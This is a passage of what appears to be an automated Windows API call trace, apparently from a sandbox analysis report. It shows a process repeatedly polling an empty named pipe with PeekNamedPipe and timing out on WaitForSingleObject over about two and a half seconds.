lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.246] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.288] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.288] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.307] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.308] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.339] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.339] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.378] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.378] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.401] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.435] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.435] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.523] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.523] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.542] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.542] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.974] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.974] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.994] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.994] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.025] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.025] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.056] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.056] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.088] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.088] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.119] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.119] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.150] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.150] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.193] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.193] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.212] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.212] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.243] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.243] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.275] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.275] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.306] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.306] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.337] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.337] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.368] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.368] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.400] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.400] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.436] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.436] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.462] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.462] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.493] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.493] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.524] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.524] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.555] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.556] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.587] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.587] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.618] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.618] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.649] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.649] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.681] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.681] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.712] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.712] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.743] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.743] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.774] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.775] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.825] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.852] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.853] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.884] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.884] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.928] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.928] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.946] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.984] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.984] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.008] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.008] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.040] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.071] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.071] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.102] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.102] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.133] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.133] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.164] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.196] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.196] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.229] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.229] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.259] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.289] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.289] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.320] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.320] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.367] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.367] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.398] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.398] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.429] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.430] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.461] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.461] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.492] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.523] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.523] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.554] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.554] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.585] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.586] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.617] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.617] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.648] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.648] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.679] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.680] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.710] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.710] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.741] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.742] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.785] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.785] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.804] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.804] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.835] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, 